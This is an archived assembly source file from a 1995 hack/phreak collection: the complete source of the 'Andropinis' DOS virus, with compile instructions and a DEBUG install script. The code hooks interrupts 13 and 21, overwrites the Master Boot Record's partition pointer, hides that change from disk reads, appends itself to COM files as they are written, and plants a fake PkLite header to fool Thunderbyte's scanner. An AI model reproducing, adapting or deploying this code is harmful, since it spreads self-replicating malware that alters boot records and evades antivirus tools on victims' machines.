home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / RJUPDAT2.ZIP / ANDROPIN.ZIP / ANDROPIN.ASM next >
Assembly Source File  |  1995-04-16  |  20KB  |  409 lines

  1. ;******************************************************************************
  2. ;
  3. ; Virus name    : Andropinis
  4. ; Author        : Rajaat
  5. ; Origin        : United Kingdom, March 1995
  6. ; Compiling     : Using TASM            | Using A86
  7. ;                                       |
  8. ;                 TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM
  9. ;                 TLINK ANDROPIN        |
  10. ;                 EXE2BIN ANDROPIN      |
  11. ; Installing    : Place the produced BIN file at cylinder 0, head 0, sector 2
  12. ;                 Modify the partition record to point to this code
  13. ;                 (a debug script is provided at the end of this source)
  14. ; Targets       : Master Boot Record & COM files
  15. ; Size          : 512 bytes
  16. ; Polymorphic   : No
  17. ; Encrypted     : No
  18. ; Stealth       : Full Stealth on Master Boot Record
  19. ; Tunneling     : No - is not needed if started from Master boot record
  20. ; Retrovirus    : No
  21. ; Antiheuristics: Yes - for TBAV
  22. ; Peculiarities : Infects MBR by modifying 2 bytes
  23. ;                 Uses SFT's to infect COM files
  24. ;                 Avoids Thunderbyte Antivirus using a 2 byte signature!
  25. ; Behaviour     : When an infected COM file is run, the virus will not become
  26. ;                 resident, but will first infect the master boot record. It
  27. ;                 does its work in a very peculiar way. It modifies the
  28. ;                 1st partition record with the result that it points to
  29. ;                 cylinder 0, head 0, sector 2. The viral bootsector will be
  30. ;                 stored there. The next time when a system is booted,
  31. ;                 Andropinis will become resident in high memory, but below
  32. ;                 the top of memory. Programs like CHKDSK.EXE will show a
  33. ;                 decrease in system memory of 1024 bytes. The virus will hook
  34. ;                 interrupt 13 at this time and wait till interrupt 21 is
  35. ;                 captured 3 times. Andropinis will then take interrupt 21
  36. ;                 itself. The virus is now stealth on the master boot record,
  37. ;                 only modifying the pointer to the bootsector in memory when
  38. ;                 the master boot record is read. The virus will infect COM
  39. ;                 files when copied, therefore not needing a critical interrupt
  40. ;                 handler. Andropinis will only infect COM files when they are
  41. ;                 between 4095 and 61441 bytes. Infected files will begin with
  42. ;                 a PUSH AX, DEC BX, NOP and a near jump to the virus code.
  43. ;                 The first 2 instructions will cause the Thunderbyte scanner
  44. ;                 to avoid the file. It thinks it's processed with PkLite! f
  45. ;                 Even the "ex"tract option doesn't work and gives back a "N/A"
  46. ;                 for every infected file. F-PROT detects nothing, except when
  47. ;                 the /ANALYSE option is used. AVP gives a virus "Type Boot"
  48. ;                 suspicion. How true that is. The weak point of the virus is
  49. ;                 its lack of protection in infected COM files, so it relies on
  50. ;                 the fact that the Master Boot Record infection isn't visible.
  51. ;                 Tai-Pan spread also far, and was even more simplistic than
  52. ;                 Andropinis, with the exception that is infected the more
  53. ;                 common filetype, the EXE file. The virus doesn't do any
  54. ;                 intended harm, as Patty would say :
  55. ;                 "It's unknown what this virus does besides replicate."
  56. ; Yoho's        : VLAD, Immortal Riot, Phalcon/Skism, [NuKE],
  57. ;                 and all other virus writers that exist.
  58. ;
  59. ;******************************************************************************
  60.  
  61. .model tiny                                     ; this must become a BIN file
  62.  
  63. .code                                           ; let's start with the code, ok
  64.  
  65. .radix 16                                       ; safe hex
  66.  
  67.                 org 0                           ; throw it in the bin
  68.  
  69. ;******************************************************************************
  70. ; Viral boot sector
  71. ;******************************************************************************
  72.  
  73. virus:          xor bx,bx                       ; initialise stack and data
  74.                 cli                             ; segment
  75.                 mov ss,bx                       ;
  76.                 mov ds,bx                       ;
  77.                 mov sp,7c00                     ;
  78.                 push sp                         ;
  79.                 sti                             ;
  80.  
  81.                 mov si,413                      ; steal some memory from the
  82.                 dec word ptr [si]               ; top
  83.                 lodsw                           ;
  84.  
  85.                 mov cl,6                        ; calculate free segment for
  86.                 shl ax,cl                       ; virus
  87.                 mov es,ax                       ;
  88.  
  89.                 pop si
  90.                 mov di,bx                       ; push data for a far jump to
  91.                 push di                         ; the virus code in high memory
  92.                 push es                         ;
  93.                 lea ax,init_resident            ;
  94.                 push ax                         ;
  95.  
  96.                 mov cx,100                      ; move the code to high memory
  97. move_boot:      movsw                           ; this doesn't trigger tbav
  98.                 loop move_boot                  ;
  99.  
  100.                 retf                            ; return to the address pushed
  101.  
  102. ;******************************************************************************
  103. ; the following piece of code is executed in high memory
  104. ;******************************************************************************
  105.  
  106. init_resident:  mov byte ptr cs:hook_21_flag,0  ; reset int 21 hook flag
  107.  
  108.                 lea di,old_13                   ; store old int 13 vector and
  109.                 mov si,4*13                     ; replace it with our new
  110.                 lea ax,new_13                   ; handler
  111.                 xchg ax,[si]                    ;
  112.                 stosw                           ;
  113.                 mov ax,cs                       ;
  114.                 xchg ax,[si+2]                  ;
  115.                 stosw                           ;
  116.  
  117.                 mov si,4*21                     ; store new address to int 21
  118.                 lea ax,new_21                   ; vector
  119.                 xchg ax,[si]                    ;
  120.                 mov ax,cs                       ;
  121.                 xchg ax,[si+2]                  ;
  122.  
  123.                 pop es                          ; read the original bootsector
  124.                 push es                         ; and execute it
  125.                 mov ax,0201                     ;
  126.                 mov dx,180                      ;
  127.                 mov cx,1                        ;
  128.                 mov bx,7c00                     ;
  129.                 push bx                         ;
  130.                 int 13h                         ;
  131.                 retf                            ;
  132.  
  133. ;******************************************************************************
  134. ; new int 13 handler
  135. ;******************************************************************************
  136.  
  137. new_13:         cmp ax,5001                     ; installation check
  138.                 jne no_inst_check               ;
  139.                 xchg ah,al                      ;
  140.                 iret
  141.  
  142. no_inst_check:  cmp ah,2                        ; check if partition sector
  143.                 jne no_stealth                  ; is read. if not, there's
  144.                 cmp dx,80                       ; no need to use stealth
  145.                 jne no_stealth                  ;
  146.                 cmp cx,1                        ;
  147.                 jne no_stealth                  ;
  148.  
  149.                 pushf                           ; perform read action, and
  150.                 call dword ptr cs:[old_13]      ; go to stealth_mbr if no error
  151.                 jnc stealth_mbr                 ; occured
  152.                 retf 2                          ;
  153.  
  154. stealth_mbr:    cmp word ptr es:1bf[bx],200     ; is the virus active?
  155.                 jne not_infected                ; no, goto not_infected
  156.                 mov word ptr es:1bf[bx],0101    ; stealth virus
  157. not_infected:   iret                            ;
  158.  
  159. no_stealth:     cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int
  160.                 je eoi_13                       ; 21, get lost to eoi_13
  161.  
  162.                 push ax                         ; preserve these
  163.                 push ds                         ;
  164.  
  165.                 xor ax,ax                       ; is int 21 changed?
  166.                 mov ds,ax                       ;
  167.                 mov ax,cs                       ;
  168.                 cmp ax,word ptr ds:[4*21+2]     ;
  169.                 je int_21_ok                    ; no, int 21 is ok
  170.  
  171.                 inc byte ptr cs:[hook_21_flag]  ; increase the hook int 21 flag
  172.  
  173.                 lea ax,new_21                   ; capture int 21 and store
  174.                 xchg ax,ds:[4*21]               ; the old vector
  175.                 mov word ptr cs:old_21,ax       ;
  176.                 mov ax,cs                       ;
  177.                 xchg ax,ds:[4*21+2]             ;
  178.                 mov word ptr cs:old_21[2],ax    ;
  179.  
  180. int_21_ok:      pop ds                          ; get these back
  181.                 pop ax                          ;
  182.  
  183. eoi_13:         jmp dword ptr cs:[old_13]       ; chain to old int 13
  184.  
  185. ;******************************************************************************
  186. ; new int 21 handler
  187. ;******************************************************************************
  188.  
  189. new_21:         cmp ah,40                       ; is a write command performed?
  190.                 je write_to_file                ; yeah, write_to_file
  191.  
  192. eoi_21:         jmp dword ptr cs:[old_21]       ; chain to old int 21
  193.  
  194. write_to_file:  push ax                         ; preserve some registers
  195.                 push bx                         ;
  196.                 push dx                         ;
  197.                 push di                         ;
  198.                 push es                         ;
  199.  
  200.                 mov ax,4400                     ; check if the write belongs
  201.                 int 21                          ; to a device
  202.                 test dl,80                      ;
  203.                 jnz not_suitable                ;
  204.  
  205.                 mov ax,1220                     ; find file handle table that
  206.                 int 2f                          ; belongs to the handle in bx
  207.                 mov bl,byte ptr es:[di]         ;
  208.                 mov ax,1216                     ;
  209.                 int 2f                          ;
  210.  
  211.                 mov bx,2020                     ; check if the file has a com
  212.                 mov ax,word ptr es:[di+28]      ; extension
  213.                 or ax,bx                        ;
  214.                 cmp ax,'oc'                     ;
  215.                 jne not_suitable                ;
  216.                 mov al,byte ptr es:[di+2a]      ;
  217.                 or al,bl                        ;
  218.                 cmp al,'m'                      ;
  219.                 jne not_suitable                ;
  220.  
  221.                 cmp word ptr es:[di+11],0       ; check if file length is
  222.                 jne not_suitable                ; zero
  223.  
  224.                 cmp cx,1000                     ; check if piece of code is
  225.                 jb not_suitable                 ; not too short or too long
  226.                 cmp cx,0f000                    ;
  227.                 ja not_suitable                 ;
  228.  
  229.                 pop es                          ; these registers are done
  230.                 pop di                          ;
  231.                 pop dx                          ;
  232.  
  233.                 mov bx,dx                       ; check if the file is a
  234.                 cmp word ptr ds:[bx],'ZM'       ; renamed exe file
  235.                 je is_renamed_exe               ;
  236.  
  237.                 cmp word ptr ds:[bx+2],0e990    ; check if already infected
  238.                 jne infect_com                  ;
  239.                 jmp is_renamed_exe
  240.  
  241. not_suitable:   pop es                          ; done with this interrupt
  242.                 pop di                          ; service routine, so chain
  243.                 pop dx                          ; to the old 21 routine
  244. is_renamed_exe: pop bx                          ;
  245.                 pop ax                          ;
  246.                 jmp eoi_21                      ;
  247.  
  248. ;******************************************************************************
  249. ; piece of code that infects a COM file
  250. ;******************************************************************************
  251.  
  252. infect_com:     pop bx                          ; this register was done
  253.  
  254.                 push cx                         ; get the first 6 bytes of the
  255.                 push si                         ; host and overwrite them with
  256.                 add cx,offset com_entry-6       ; the new bytes. it places a
  257.                 mov si,dx                       ; nifty piece of code to
  258.                 mov ax,'KP'                     ; render tbscans heuristics
  259.                 xchg word ptr [si],ax           ; useless. the PUSH AX, DEC BX
  260.                 mov word ptr cs:org_com,ax      ; (PK) in the begin of the
  261.                 lodsw                           ; program makes tbscan think
  262.                 mov ax,0e990                    ; it is a PkLite compressed
  263.                 xchg word ptr ds:[si],ax        ; file and will skip it!
  264.                 mov word ptr cs:org_com+2,ax    ;
  265.                 lodsw                           ;
  266.                 xchg word ptr ds:[si],cx        ;
  267.                 mov word ptr cs:org_com+4,cx    ;
  268.                 pop si                          ;
  269.                 pop cx                          ;
  270.  
  271.                 pop ax                          ; perform original write
  272.                 pushf                           ; command
  273.                 call dword ptr cs:[old_21]      ;
  274.  
  275.                 push ax                         ; and append the virus at the
  276.                 push cx                         ; end of the file
  277.                 push dx                         ;
  278.                 push ds                         ;
  279.                 push cs                         ;
  280.                 pop ds                          ;
  281.                 mov ah,40                       ;
  282.                 mov cx,virus_length_b           ;
  283.                 lea dx,virus                    ;
  284.                 pushf                           ;
  285.                 call dword ptr cs:[old_21]      ;
  286.                 pop ds                          ;
  287.                 pop dx                          ;
  288.                 pop cx                          ;
  289.                 pop ax                          ;
  290.                 retf 2                          ;
  291.  
  292. ;******************************************************************************
  293. ; this gets executed by an infected COM file
  294. ;******************************************************************************
  295.  
  296. com_entry:      call get_offset                 ; old hat for getting the
  297. get_offset:     pop bp                          ; delta offset
  298.                 sub bp,offset get_offset        ;
  299.  
  300.                 mov ax,5001                     ; if the virus is resident it
  301.                 int 13                          ; doesn't need to infect the
  302.                 cmp ax,0150                     ; master boot record
  303.                 je is_active                    ;
  304.  
  305.                 mov ax,0201                     ; read master boot record.
  306.                 lea bx,heap[bp]                 ; if an error occured, goto
  307.                 mov cx,1                        ; is_active
  308.                 mov dx,80                       ;
  309.                 int 13                          ;
  310.                 jc is_active                    ;
  311.  
  312.                 cmp word ptr [bx+1be+1],0101    ; test if the partition begins
  313.                 jne is_active                   ; at the normal sector
  314.  
  315.                 test byte ptr [bx+1be],80       ; test of the partition is
  316.                 jz is_active                    ; bootable
  317.  
  318.                 mov al,byte ptr [bx+1be+4]      ; test if the partition type
  319.                 cmp al,4                        ; is ok
  320.                 jb is_active                    ;
  321.                 cmp al,6                        ;
  322.                 ja is_active                    ;
  323.  
  324.                 mov word ptr [bx+1be+1],200     ; change pointer to virus code
  325.  
  326.                 mov ax,0301                     ; write back the master boot
  327.                 push ax                         ; record. quit if error
  328.                 int 13                          ; occured
  329.                 pop ax                          ;
  330.                 jc is_active                    ;
  331.  
  332.                 inc cx                          ; write virus to sector 2
  333.                 lea bx,virus[bp]                ; (right behind the mbr)
  334.                 int 13                          ;
  335.  
  336. is_active:      lea si,org_com[bp]              ; restore beginning of the
  337.                 mov di,100                      ; host and execute it
  338.                 pop ax                          ;
  339.                 push cs                         ;
  340.                 push di                         ;
  341.                 movsw                           ;
  342.                 movsw                           ;
  343.                 movsw                           ;
  344.                 retf                            ;
  345.  
  346. ;******************************************************************************
  347. ; some data used by the virus
  348. ;******************************************************************************
  349.  
  350.                 db '[Andropinis]'               ; my childs name
  351.                 db ' by Rajaat',0               ; my name
  352.  
  353.                 org 1fe                         ; for the bootsector
  354.  
  355.                 db 55,0aa                       ; boot signature
  356.  
  357. ;******************************************************************************
  358. ; the things below aren't copied into the viral boot sector, only in COM files
  359. ;******************************************************************************
  360.  
  361. org_com         equ $                           ; original program data
  362.  
  363. heap            equ $+6                         ; memory for data
  364.  
  365. virus_length_b  equ heap-virus                  ; who says size doesn't count?
  366. virus_length_s  equ (virus_length_b+1ff) / 200  ;
  367. virus_length_k  equ (virus_length_b+3ff) / 400  ;
  368.  
  369. old_13          equ heap+6                      ; old int 13 vector
  370. old_21          equ heap+0a                     ; old int 21 vector
  371. hook_21_flag    equ heap+0e                     ; int 21 hook flag
  372.  
  373. end virus                                       ; the end complete
  374. end                                             ;
  375. ;******************************************************************************
  376.  
  377. ; remove the piece below if you use A86 instead of TASM, because it will
  378. ; choke on it
  379.  
  380.         --- debug script for installing the Andropinis virus ---
  381.  
  382. install with
  383. DEBUG ANDROPIN.BIN < scriptname
  384. where scriptname is the name that you give to the mess below
  385.  
  386.                             --- cut here ---
  387. m 100 l200 1000
  388. a
  389. mov ax,0201
  390. mov bx,800
  391. mov cx,1
  392. mov dx,80
  393. int 13
  394. mov si,9bf
  395. mov word ptr [si],200
  396. mov ax,0301
  397. mov dx,80
  398. int 13
  399. mov ax,0301
  400. mov bx,1000
  401. inc cx
  402. int 13
  403. int 20
  404.  
  405. g
  406. q
  407.                             --- cut here ---
  408.  
  409.